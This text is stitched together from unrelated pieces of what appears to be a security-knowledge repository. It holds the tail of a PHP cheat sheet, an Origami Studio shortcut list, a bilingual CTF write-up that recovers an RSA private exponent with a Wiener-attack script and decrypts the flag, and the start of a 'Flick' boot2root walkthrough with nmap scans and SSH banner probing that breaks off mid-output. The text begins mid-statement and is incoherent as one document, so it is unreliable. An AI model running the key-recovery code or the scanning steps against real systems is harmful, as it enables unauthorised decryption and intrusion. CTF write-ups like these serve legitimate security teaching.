'Does'); $x = false; # => Does print($x ?: 'Does'); $a = null; $b = 'Does print'; # => a is unset echo $a ?? 'a is unset'; # => print echo $b ?? 'b is unset'; ``` ### Match ```php $statusCode = 500; $message = match($statusCode) { 200, 300 => null, 400 => 'not found', 500 => 'server error', default => 'known status code', }; echo $message; # => server error ``` See: [Match](https://www.php.net/manual/en/control-structures.match.php) ### Match expressions ```php $age = 23; $result = match (true) { $age >= 65 => 'senior', $age >= 25 => 'adult', $age >= 18 => 'young adult', default => 'kid', }; echo $result; # => young adult ``` PHP Loops --------------- ### while ```php $i = 1; # => 12345 while ($i <= 5) { echo $i++; } ``` ### do while ```php $i = 1; # => 12345 do { echo $i++; } while ($i <= 5); ``` ### for i ```php # => 12345 for ($i = 1; $i <= 5; $i++) { echo $i; } ``` ### break ```php # => 123 for ($i = 1; $i <= 5; $i++) { if ($i === 4) { break; } echo $i; } ``` ### continue ```php # => 1235 for ($i = 1; $i <= 5; $i++) { if ($i === 4) { continue; } echo $i; } ``` ### foreach ```php $a = ['foo' => 1, 'bar' => 2]; # => 12 foreach ($a as $k) { echo $k; } ``` See: [Array iteration](#php-value-iteration) PHP Functions --------------- ### Returning values ```php function square($x) { return $x * $x; } echo square(4); # => 16 ``` ### Return types ```php // Basic return type declaration function sum($a, $b): float {/*...*/} function get_item(): string {/*...*/} class C {} // Returning an object function getC(): C { return new C; } ``` ### Nullable return types ```php // Available in PHP 7.1 function nullOrString(int $v) : ?string { return $v % 2 ? "odd" : null; } echo nullOrString(3); # => odd var_dump(nullOrString(4)); # => NULL ``` See: [Nullable types](https://www.php.net/manual/en/migration71.new-features.php) ### Void functions ```php // Available in PHP 7.1 function voidFunction(): void { echo 'Hello'; return; } voidFunction(); # => Hello ``` ### Variable functions ```php function bar($arg = '') { echo "In bar(); arg: '$arg'.\n"; } $func = 'bar'; $func('test'); # => In bar(); arg: test ``` ### Anonymous functions ```php $greet = function($name) { printf("Hello %s\r\n", $name); }; $greet('World'); # => Hello World $greet('PHP'); # => Hello PHP ``` ### Recursive functions ```php function recursion($x) { if ($x < 5) { echo "$x"; recursion($x + 1); } } recursion(1); # => 1234 ``` ### Default parameters ```php function coffee($type = "cappuccino") { return "Making a cup of $type.\n"; } # => Making a cup of cappuccino. echo coffee(); # => Making a cup of . echo coffee(null); # => Making a cup of espresso. echo coffee("espresso"); ``` ### Arrow Functions ```php $y = 1; $fn1 = fn($x) => $x + $y; // equivalent to using $y by value: $fn2 = function ($x) use ($y) { return $x + $y; }; echo $fn1(5); # => 6 echo $fn2(5); # => 6 ``` PHP Classes --------------- ### Constructor ```php class Student { public function __construct($name) { $this->name = $name; } public function print() { echo "Name: " . $this->name; } } $alex = new Student("Alex"); $alex->print(); # => Name: Alex ``` ### Inheritance ```php class ExtendClass extends SimpleClass { // Redefine the parent method function displayVar() { echo "Extending class\n"; parent::displayVar(); } } $extended = new ExtendClass(); $extended->displayVar(); ``` ### Classes variables {.row-span-2} ```php class MyClass { const MY_CONST = 'value'; static $staticVar = 'static'; // Visibility public static $var1 = 'pubs'; // Class only private static $var2 = 'pris'; // The class and subclasses protected static $var3 = 'pros'; // The class and subclasses protected $var6 = 'pro'; // The class only private $var7 = 'pri'; } ``` Access statically ```php echo MyClass::MY_CONST; # => value echo MyClass::$staticVar; # => static ``` ### Magic Methods ```php class MyClass { // Object is treated as a String public function __toString() { return $property; } // opposite to __construct() public function __destruct() { print "Destroying"; } } ``` ### Interface ```php interface Foo { public function doSomething(); } interface Bar { public function doSomethingElse(); } class Cls implements Foo, Bar { public function doSomething() {} public function doSomethingElse() {} } ``` Miscellaneous ------------- ### Basic error handling ```php try { // Do something } catch (Exception $e) { // Handle exception } finally { echo "Always print!"; } ``` ### Exception in PHP 8.0 {.col-span-2} ```php {.wrap} $nullableValue = null; try { $value = $nullableValue ?? throw new InvalidArgumentException(); } catch (InvalidArgumentException) { // Variable is optional // Handle my exception echo "print me!"; } ``` ### Custom exception {.row-span-2} ```php class MyException extends Exception { // do something } ``` Usage ```php try { $condition = true; if ($condition) { throw new MyException('bala'); } } catch (MyException $e) { // Handle my exception } ``` ### Nullsafe Operator {.row-span-2} ```php // As of PHP 8.0.0, this line: $result = $repo?->getUser(5)?->name; // Equivalent to the following code: if (is_null($repo)) { $result = null; } else { $user = $repository->getUser(5); if (is_null($user)) { $result = null; } else { $result = $user->name; } } ``` See also: [Nullsafe Operator](https://wiki.php.net/rfc/nullsafe_operator) ### Regular expressions ```php $str = "Visit Quickref.me"; echo preg_match("/qu/i", $str); # => 1 ``` See: [Regex in PHP](/regex#regex-in-php) ### fopen() mode | - | - | |------|--------------------------| | `r` | Read | | `r+` | Read and write, prepend | | `w` | Write, truncate | | `w+` | Read and write, truncate | | `a` | Write, append | | `a+` | Read and write, append | ### Runtime defined Constants ```php define("CURRENT_DATE", date('Y-m-d')); // One possible representation echo CURRENT_DATE; # => 2021-01-05 # => CURRENT_DATE is: 2021-01-05 echo 'CURRENT_DATE is: ' . CURRENT_DATE; ``` Also see ------- - [PHP Docs](https://www.php.net/manual/en/index.php) - [Learn X in Y minutes](https://learnxinyminutes.com/docs/php/)
sec-knowleage
--- title: Origami Studio date: 2022-11-23 16:23:31.695481 background: bg-[#4a8eee] label: Mac tags: - - mac categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 71 keyboard shortcuts found in Origami Studio. This application is MacOS-only. --- Keyboard Shortcuts ------------------ ### General Shortcut | Action ---|--- `Opt` `Enter` | Insert patch `Cmd` `Enter` | Insert layer `Cmd` `/` | Documentation {.shortcuts} ### Patches {.row-span-3} Shortcut | Action ---|--- `I` | Interaction `S` | Switch `A` | Pop animation `C` | Classic animation `T` | Transition `K` | Keyboard `D` | Delay `Shift` `I` | Option switch `O` | Option picker `X` | Splitter `W` | Wireless broadcaster `Shift` `W` | Wireless receiver `U` | Pulse `+` | Add `-` | Minus `*` | Multiply `/` | Divide `%` | Modulus or remainder `Shift` `A` | AND logic `Shift` `O` | OR logic `Shift` `N` | NOT logic `E` | Equals `>` | Greater than `<` | Less than `Shift` `R` | Progress `R` | Reverse progress {.shortcuts} ### Organizing Patches Shortcut | Action ---|--- `Shift` `Enter` | Rename patch `Cmd` `[` | Align patches left `Cmd` `]` | Align patches right `Cmd` `Shift` `[` | Align patches top `Cmd` `Shift` `]` | Align patches bottom `Opt` `Ctrl` `C` | Insert comment around patches `Cmd` `Ctrl` `G` | Create patch component `Opt` `P` | Publish input or output port `Opt` `Down` | Enter patch component `Opt` `Up` | Exit patch component `Cmd` `Shift` `I` | Patch info `Cmd` `Opt` `L` | Add patch component to user library `Cmd` `Opt` `Shift` `L` | Add patch component to other library {.shortcuts} ### Layers {.row-span-2} Shortcut | Action ---|--- `Shift` `Enter` | Rename layer `Cmd` `Shift` `H` | Hide or show layer `Cmd` `Shift` `L` | Lock or unlock layer `Cmd` `Opt` `Up` | Bring forward `Cmd` `Opt` `Down` | Send backwards `Cmd` `Opt` `Shift` `Up` | Bring to front `Cmd` `Opt` `Shift` `Down` | Send to back `Cmd` `Opt` `M` | Mask layer `Cmd` `Opt` `Shift` `M` | Add to mask `Cmd` `G` | Group layers `Cmd` `Shift` `G` | Ungroup layers `Cmd` `Ctrl` `G` | Create layer component `Opt` `Down` | Enter component `Opt` `Up` | Exit component `Cmd` `Shift` `I` | Layer info `Cmd` `Opt` `L` | Add layer to user library `Cmd` `Opt` `Shift` `L` | Add layer to other library {.shortcuts} ### Viewer Shortcut | Action ---|--- `Cmd` `R` | Restart prototype `Opt` `D` | Toggle device `Opt` `H` | Toggle hand `Cmd` `Opt` `F` | Mini viewer `Cmd` `Shift` `F` | Fullscreen viewer `Cmd` `Opt` `0` | 1:1 viewer {.shortcuts} ### Number Inputs Shortcut | Action ---|--- `Up` | Increase number by one `Down` | Decrease number by one `Shift` `Up` | Increase number by 10 `Shift` `Down` | Decrease number by 10 `Opt` `Up` | Increase number by 0.1 `Opt` `Down` | Decrease number by 0.1 {.shortcuts} Also see -------- - [Keyboard shortcuts for Origami Studio](https://origami.design/documentation/workflow/KeyboardShortcuts.html) _(origami.design)_
sec-knowleage
# Unbreakable (crypto 200) ###ENG [PL](#pl-version) In the task we get a list of ciphertexts: ``` 4afa32e89fce5fb84c1307e727f117cc999bc443cb646149aecc45df146f50803ca153e101d9b31eee0ac0c3c017b963ef3b74abc528422d08149e2c61a2c83573989368467b3c0696a63686cf4dfd0e8fb7ca943769554f6ddeed6be47a3dbc8695a26f148641619ceac19cd1e62b563711e015aefb0fa8f7868adfb616e406c7 5b1b43f901df61c95d24a8f8381228dd000cd554dc757250bfdd56e125716a9a4db264f2a2e0c42fffabdad4da28c074f14c85bcd639533ea9250f3d72b3d94684090479578c4da707b74797d15e1eaf91c8db05487066517eeffe7cf58b4ecd9706b371259752720dfbd20de2f73c674822fa26bf1ca1b918979be1c727f5a7d8 c494ba812968d951c60b3f8faf900f6622256ccb65ece0c24866cd790ce9d313b640db8030725b088834636b630f52eb89b5fc456da1caa7310c28a6e04a61bdfb212be1cef5b63e2e4ebe1e69c79738195f642cbfe2ddc9e77887e58cf4b7561e2d4ae90c1ec0e026846026708ea5debf00830d489539419f1e14795e0e8c3e6f d505cb923079e062d7ac4191b10aa17733367ddc76fdfad35977de80adf0e424c75aec9a4a836ca99945747c74a163fc90c61d567eb2dbb842ad39b7fa5b72ce1c323cf2df16c74f3f5fcf2f70d808492061753dc1f3eed0f88998f69d15c8672f3e5bf0ad2fdafa37957a378a9fb6efc1aa94ae59064052012f25806faf9d4f71 e6a6dc034a80fa73e8bd5202c2abb28844478eed871e1be46088ef9abe1af535d86bfd0b5b947db00056858d85b2741d0ad72e678fc3ecc953be40c81b6c83df2d434d13e127d8514161d1318ae9a9503a72864ed214ffea199009170e26d978314f6c1abe31eb1b48068b489b01c7f1d2bb05bf60a75a63a231369a71b10e5182 f7b7eda45b9a1b84f9ce63a3d3bcc39955589ffe982f2cf57a99f10bcf2b1646e97c1eac6c058ecaaa67969e96c3852eabe83f7891d4fdd064cf5ad92c7d94e13e545e24f238e9625272e2429bf0b06a4b83975fe32511fb200aa028af37e08942517d2bcf42fc2c59a79c590ca2d812e3cca6c17ab86b74b342470b82c2af6293 a272096ef746b73ea4801d6d9d788d44fff34aa043cac8af2644ab578ac7b1e10428b068185f308666124140418d3fc06703da234b9ea9951e8af694c8294e0bd0fef0ceacd3041cfc2c0cec47a57516e73d42fa0dcfbba7c55665c36ad20534ecfb29c78aeca8c8f46248f4586c93bc0d88618b2673172e7dece2573c8c6a1c4d b383a07f1857c84fb59a2e7e0e899e5511145bba54dbd9b13755bc689bd8c2f2a539ca7929614a977723525a529e41da78a4eb345c0fb0062f9b1705d9305facea1f1adfbde4a52d1d3dadfd58b68627f84e531baed1ccb8d66776d47be3a645fd1c30d89bfdb9d915735915697d04cdae99729c3784283f8efdf3684d9d7b2d5e 18c8feb56c0b2c9510df74b4e4cdd4006669011f09313d168b0012acd13c2757f08d2fbd7da69fdbbb78070f07d4963fbcf9418902e51eea75d16be03d8e05f24f656f351349f0736383f3530c1aca7b5c940861f436221c3aabba39b148fa9053628e3cd1531d3d60b80d60adb3e923f4ddb7d28bc97c85c45358ac93d3b17304 29d91fc67dac3d062ae185c5f5dee5aa7770a221a0424e279caa23bde24d38681a9e31ce8eb701eccc89a8a1a8e50741cd105290a3f62ffb86e27cfa4e9fa6135176714624501a8474941464ad2bdb8c6d05a9721547332d4bbccb40c2591b0a64739f4de2642e4e7ac9ae7abec4f03415eec8e39cd08d96d56469bd04e4c284a5 30e021d78ebd4ea73bf296d616eff6bb888ab332ba535f380dbb34cef35e49792b0f42df9fc8a2fddd90b9b2b9f6a852de2a630ab417311c97f38d1b5f01b72462878257356a2b9585052575be3cec9d7ea6b0832658443e5ccddc5ad3602cab7584015ef3753f5f8bd0bf8bcfd51a4526ffd9f40dea9e07e67570cea5f5d395b6 6c2c5410a2e172d06e35b919492339eeaaade665ed86836ac1ee67f236827b0b5ec37513b3fad53111bcebe5eb39da85125d96cde740644fb036a14e83c4e05795a0a580689d5eb8a8c85808e26f2fb102d9eca6598a77628ff11f8d169c5fde08a7c48236086383ae1ce3aef3184d7859331b37c12db2c029080cf2d83816b8e9 7d3d652ab3f283ea7f46c020503440ffbbbef776fe97947bd2ff781347938cac6fd48624c41be64222cdfcf6fc40eb96236e07def85a7551ca47b25f94d5fa6806bab69a790e6fc9b9d969a9f37131c2a3e0fdb7609b88739112219e270d61efa9b8d59347a97494bf2df4bf14295e8960442c48d23ec3da30a9ad13e94927c9f0 8e4e763bc41394fb8157da3a6a455a11cccf18871f08058ce311892458049dbd71e59735d52cf75333de1d171d5afc07347fa8ef196b8662db58c36105e61b79a7cbc70b80af71d0c0e070b0148242d3b4fa1ec87a0c99840223320f38ae72f1b0c9e60458b08505c13e15c125306f907a553d59e34fd4eb4ab0be24f05038d01a 9f5f874cd524051c9268eb4b7b566b22ddd1299821a9a69df422903569a50ece82f60846e63d186444ef2e282e6b1da84581b9f1207c9773ec69d472a6f72c80b8dcd8ac9ab182eadafa8aca259353e4c51b2fd98bad0095a33443a149bf8312cad0f7a569ca96a6d24f26d2364a710a8b664e60f451e5fc5bcacf351a6a49ea2b ``` RSA public key: ``` -----BEGIN PUBLIC KEY----- MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQJv2xhIxiuhHjnor5wSIRKv 2N9SPlfz4OARJP7pK+1P6+Deh6OwMwKI8PNfu82IsCyLRh7QLE6vv6pidMRcAl5f 8xXGTrKO2jeDobGuaU5iUJFCZaqTk+P4oqPfPasZFSt5b61Ry8gHm0duznl5oBvw WgU3jIThczwB4OJvlqyxvQKBgQHWX/1eQndrZGyltFAAcklgmddKdq6YKd83LYJp j88ZYXdud5ZvbfgisxIP5dfSb/O71nK97XRRvwrmEQhIlWhJEHPhsRZnaxrXl3v9 Cs1g+iRZIlbGbOiO5YyY3rv6bJRQAlVieDQAH/DS4aQ23v0hw4C8U/P2fe70EA6Q KChwew== -----END PUBLIC KEY----- ``` And some custom function which was used on top of RSA to encrypt the ciphertexts: ```python def unbreakable(plaintext, shift): alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] ciphertext = "" for l in plaintext.lower(): if l in dic: l = dic[l] ciphertext += l return ciphertext ``` We start off by breaking the RSA public key. We can see that the parameters are: ``` e = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867 n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213 ``` And such a big `e` mean it is vulnerable for Weiner attack. So with Sage: ```sage e = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867 n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213 c_fracs = continued_fraction(e/n).convergents() test_message = 42 test_message_encrypted = pow(test_message,e,n) d = 0 for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() break print(d) ``` We recover the decryption exponent `d = 41120410289578972492231832470931555317369771850118171981275077778106071589823`. Now we need to invert the `unbreakable` function, but this is rather trivial: ```python def unbreakable_rev(ciphertext, shift): def get_key(c, dic): for key, value in dic.items(): if c == value: return key return c alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] plaintext = "" for c in ciphertext: plaintext += get_key(c, dic) return plaintext ``` So with those two things at hand we can decrypt the ciphertexts: ```python n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213 d = 41120410289578972492231832470931555317369771850118171981275077778106071589823 with codecs.open('flags.txt', 'r') as input_file: for i, line in enumerate(input_file): line = line[:-1] unb = int(unbreakable_rev(line, i + 1), 16) p = pow(unb, d, n) print(i, long_to_bytes(p)) ``` There a small twist here that for some reason (we were missing 1 of 16 ciphertexts) we were supposed to shift the unbreakable argument by +1. Anyway, by running this we get the flag: `{RS4_wi3n3r_vuln3r4ble}` ###PL version W zadaniu dostajemy listę ciphertextów: ``` 4afa32e89fce5fb84c1307e727f117cc999bc443cb646149aecc45df146f50803ca153e101d9b31eee0ac0c3c017b963ef3b74abc528422d08149e2c61a2c83573989368467b3c0696a63686cf4dfd0e8fb7ca943769554f6ddeed6be47a3dbc8695a26f148641619ceac19cd1e62b563711e015aefb0fa8f7868adfb616e406c7 5b1b43f901df61c95d24a8f8381228dd000cd554dc757250bfdd56e125716a9a4db264f2a2e0c42fffabdad4da28c074f14c85bcd639533ea9250f3d72b3d94684090479578c4da707b74797d15e1eaf91c8db05487066517eeffe7cf58b4ecd9706b371259752720dfbd20de2f73c674822fa26bf1ca1b918979be1c727f5a7d8 c494ba812968d951c60b3f8faf900f6622256ccb65ece0c24866cd790ce9d313b640db8030725b088834636b630f52eb89b5fc456da1caa7310c28a6e04a61bdfb212be1cef5b63e2e4ebe1e69c79738195f642cbfe2ddc9e77887e58cf4b7561e2d4ae90c1ec0e026846026708ea5debf00830d489539419f1e14795e0e8c3e6f d505cb923079e062d7ac4191b10aa17733367ddc76fdfad35977de80adf0e424c75aec9a4a836ca99945747c74a163fc90c61d567eb2dbb842ad39b7fa5b72ce1c323cf2df16c74f3f5fcf2f70d808492061753dc1f3eed0f88998f69d15c8672f3e5bf0ad2fdafa37957a378a9fb6efc1aa94ae59064052012f25806faf9d4f71 e6a6dc034a80fa73e8bd5202c2abb28844478eed871e1be46088ef9abe1af535d86bfd0b5b947db00056858d85b2741d0ad72e678fc3ecc953be40c81b6c83df2d434d13e127d8514161d1318ae9a9503a72864ed214ffea199009170e26d978314f6c1abe31eb1b48068b489b01c7f1d2bb05bf60a75a63a231369a71b10e5182 f7b7eda45b9a1b84f9ce63a3d3bcc39955589ffe982f2cf57a99f10bcf2b1646e97c1eac6c058ecaaa67969e96c3852eabe83f7891d4fdd064cf5ad92c7d94e13e545e24f238e9625272e2429bf0b06a4b83975fe32511fb200aa028af37e08942517d2bcf42fc2c59a79c590ca2d812e3cca6c17ab86b74b342470b82c2af6293 a272096ef746b73ea4801d6d9d788d44fff34aa043cac8af2644ab578ac7b1e10428b068185f308666124140418d3fc06703da234b9ea9951e8af694c8294e0bd0fef0ceacd3041cfc2c0cec47a57516e73d42fa0dcfbba7c55665c36ad20534ecfb29c78aeca8c8f46248f4586c93bc0d88618b2673172e7dece2573c8c6a1c4d b383a07f1857c84fb59a2e7e0e899e5511145bba54dbd9b13755bc689bd8c2f2a539ca7929614a977723525a529e41da78a4eb345c0fb0062f9b1705d9305facea1f1adfbde4a52d1d3dadfd58b68627f84e531baed1ccb8d66776d47be3a645fd1c30d89bfdb9d915735915697d04cdae99729c3784283f8efdf3684d9d7b2d5e 18c8feb56c0b2c9510df74b4e4cdd4006669011f09313d168b0012acd13c2757f08d2fbd7da69fdbbb78070f07d4963fbcf9418902e51eea75d16be03d8e05f24f656f351349f0736383f3530c1aca7b5c940861f436221c3aabba39b148fa9053628e3cd1531d3d60b80d60adb3e923f4ddb7d28bc97c85c45358ac93d3b17304 29d91fc67dac3d062ae185c5f5dee5aa7770a221a0424e279caa23bde24d38681a9e31ce8eb701eccc89a8a1a8e50741cd105290a3f62ffb86e27cfa4e9fa6135176714624501a8474941464ad2bdb8c6d05a9721547332d4bbccb40c2591b0a64739f4de2642e4e7ac9ae7abec4f03415eec8e39cd08d96d56469bd04e4c284a5 30e021d78ebd4ea73bf296d616eff6bb888ab332ba535f380dbb34cef35e49792b0f42df9fc8a2fddd90b9b2b9f6a852de2a630ab417311c97f38d1b5f01b72462878257356a2b9585052575be3cec9d7ea6b0832658443e5ccddc5ad3602cab7584015ef3753f5f8bd0bf8bcfd51a4526ffd9f40dea9e07e67570cea5f5d395b6 6c2c5410a2e172d06e35b919492339eeaaade665ed86836ac1ee67f236827b0b5ec37513b3fad53111bcebe5eb39da85125d96cde740644fb036a14e83c4e05795a0a580689d5eb8a8c85808e26f2fb102d9eca6598a77628ff11f8d169c5fde08a7c48236086383ae1ce3aef3184d7859331b37c12db2c029080cf2d83816b8e9 7d3d652ab3f283ea7f46c020503440ffbbbef776fe97947bd2ff781347938cac6fd48624c41be64222cdfcf6fc40eb96236e07def85a7551ca47b25f94d5fa6806bab69a790e6fc9b9d969a9f37131c2a3e0fdb7609b88739112219e270d61efa9b8d59347a97494bf2df4bf14295e8960442c48d23ec3da30a9ad13e94927c9f0 8e4e763bc41394fb8157da3a6a455a11cccf18871f08058ce311892458049dbd71e59735d52cf75333de1d171d5afc07347fa8ef196b8662db58c36105e61b79a7cbc70b80af71d0c0e070b0148242d3b4fa1ec87a0c99840223320f38ae72f1b0c9e60458b08505c13e15c125306f907a553d59e34fd4eb4ab0be24f05038d01a 9f5f874cd524051c9268eb4b7b566b22ddd1299821a9a69df422903569a50ece82f60846e63d186444ef2e282e6b1da84581b9f1207c9773ec69d472a6f72c80b8dcd8ac9ab182eadafa8aca259353e4c51b2fd98bad0095a33443a149bf8312cad0f7a569ca96a6d24f26d2364a710a8b664e60f451e5fc5bcacf351a6a49ea2b ``` Klucz publiczny RSA: ``` -----BEGIN PUBLIC KEY----- MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQJv2xhIxiuhHjnor5wSIRKv 2N9SPlfz4OARJP7pK+1P6+Deh6OwMwKI8PNfu82IsCyLRh7QLE6vv6pidMRcAl5f 8xXGTrKO2jeDobGuaU5iUJFCZaqTk+P4oqPfPasZFSt5b61Ry8gHm0duznl5oBvw WgU3jIThczwB4OJvlqyxvQKBgQHWX/1eQndrZGyltFAAcklgmddKdq6YKd83LYJp j88ZYXdud5ZvbfgisxIP5dfSb/O71nK97XRRvwrmEQhIlWhJEHPhsRZnaxrXl3v9 Cs1g+iRZIlbGbOiO5YyY3rv6bJRQAlVieDQAH/DS4aQ23v0hw4C8U/P2fe70EA6Q KChwew== -----END PUBLIC KEY----- ``` I jakąś autorską funkcje użytą jako dodatek do RSA: ```python def unbreakable(plaintext, shift): alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] ciphertext = "" for l in plaintext.lower(): if l in dic: l = dic[l] ciphertext += l return ciphertext ``` Zaczynamy od złamania klucza publicznego RSA. Widzimy że parametry to: ``` e = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867 n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213 ``` A tak duże `e` jest podatne na atak Wienera. Więc za pomocą Sage liczymy: ```sage e = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867 n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213 c_fracs = continued_fraction(e/n).convergents() test_message = 42 test_message_encrypted = pow(test_message,e,n) d = 0 for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() break print(d) ``` I odzyskujemy wykładnik deszyfrujący `d = 41120410289578972492231832470931555317369771850118171981275077778106071589823`. Teraz musimy jeszcze odwrócić funkcje `unbreakable` co jest dość trywialne: ```python def unbreakable_rev(ciphertext, shift): def get_key(c, dic): for key, value in dic.items(): if c == value: return key return c alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] plaintext = "" for c in ciphertext: plaintext += get_key(c, dic) return plaintext ``` Majac te dwa elementy pod ręką możemy odszyfrować dane: ```python n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213 d = 41120410289578972492231832470931555317369771850118171981275077778106071589823 with codecs.open('flags.txt', 'r') as input_file: for i, line in enumerate(input_file): line = line[:-1] unb = int(unbreakable_rev(line, i + 1), 16) p = pow(unb, d, n) print(i, long_to_bytes(p)) ``` Był tam mały szkopuł, bo należało argument funkcji odwracającej unbreakable przesunąć o +1 (bo niby brakowało nam 1 z 16 ciiphertextów). Tak czy siak uruchamiając powyższy kod dostajemy: `{RS4_wi3n3r_vuln3r4ble}`
sec-knowleage
#Flick: 1# ---- **Author**: Leonjza **Links**: https://leonjza.github.io/blog/2014/08/07/flick-can-you-find-the-flag/ ---- ##Description## ``` .o88o. oooo o8o oooo 888 `" `888 `"' `888 o888oo 888 oooo .ooooo. 888 oooo 888 888 `888 d88' `"Y8 888 .8P' 888 888 888 888 888888. 888 888 888 888 .o8 888 `88b. o888o o888o o888o `Y8bod8P' o888o o888o Welcome to the flick boot2root! - Where is the flag? - What do you need to flick to find it? Completing "flick" will require some sound thinking, good enumeration skills & time! The objective is to find and read the flag that lives /root/ As a bonus, can you get root command execution? Shoutout to @barrebas & @TheColonial for testing it out first :) $ sha1sum flick.ova 0e65f5a1f2b560d10115796c1adfb03548583db2 flick.ova Good Luck! @leonjza ``` ---- ##Workthrough## Scan flick lab for open port(s) with nmap. ``` lab:pentestlab/ $ nmap -v -n -T4 -p- 192.168.10.42 Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-20 15:02 UTC Initiating Ping Scan at 15:02 Scanning 192.168.10.42 [2 ports] Completed Ping Scan at 15:02, 0.00s elapsed (1 total hosts) Initiating Connect Scan at 15:02 Scanning 192.168.10.42 [65535 ports] Discovered open port 22/tcp on 192.168.10.42 Discovered open port 8881/tcp on 192.168.10.42 Completed Connect Scan at 15:02, 4.25s elapsed (65535 total ports) Nmap scan report for 192.168.10.42 Host is up (0.017s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 8881/tcp open unknown Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 4.35 seconds ``` ###Port: 22### Use ncat for ssh banner view. ``` lab:pentestlab/ $ ncat -v 192.168.10.42 22 Ncat: Version 6.47 ( http://nmap.org/ncat ) Ncat: Connected to 192.168.10.42:22. SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1 ^C ``` Connect to port 22, and check the log. ``` lab:pentestlab/ $ ssh -v root@192.168.10.42 OpenSSH_6.9p1, OpenSSL 1.0.2d 9 Jul 2015 ... debug1: kex: server->client aes128-ctr umac-64@openssh.com none debug1: kex: client->server aes128-ctr umac-64@openssh.com none debug1: sending SSH2_MSG_KEX_ECDH_INIT debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ecdsa-sha2-nistp256 SHA256:OgFkTDTD/D7ndkanMRwJI92zYuzltDSkOS7E3sPlpPk The authenticity of host '192.168.10.42 (192.168.10.42)' can't be established. ECDSA key fingerprint is SHA256:OgFkTDTD/D7ndkanMRwJI92zYuzltDSkOS7E3sPlpPk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.10.42' (ECDSA) to the list of known hosts. debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received \x56\x6d\x30\x77\x64\x32\x51\x79\x55\x58\x6c\x56\x57\x47\x78\x57\x56\x30\x64\x34 \x56\x31\x59\x77\x5a\x44\x52\x57\x4d\x56\x6c\x33\x57\x6b\x52\x53\x57\x46\x4a\x74 \x65\x46\x5a\x56\x4d\x6a\x41\x31\x56\x6a\x41\x78\x56\x32\x4a\x45\x54\x6c\x68\x68 \x4d\x6b\x30\x78\x56\x6d\x70\x4b\x53\x31\x49\x79\x53\x6b\x56\x55\x62\x47\x68\x6f \x54\x56\x68\x43\x55\x56\x5a\x74\x65\x46\x5a\x6c\x52\x6c\x6c\x35\x56\x47\x74\x73 \x61\x6c\x4a\x74\x61\x47\x39\x55\x56\x6d\x68\x44\x56\x56\x5a\x61\x63\x56\x46\x74 \x52\x6c\x70\x57\x4d\x44\x45\x31\x56\x54\x4a\x30\x56\x31\x5a\x58\x53\x6b\x68\x68 \x52\x7a\x6c\x56\x56\x6d\x78\x61\x4d\x31\x5a\x73\x57\x6d\x46\x6b\x52\x30\x35\x47 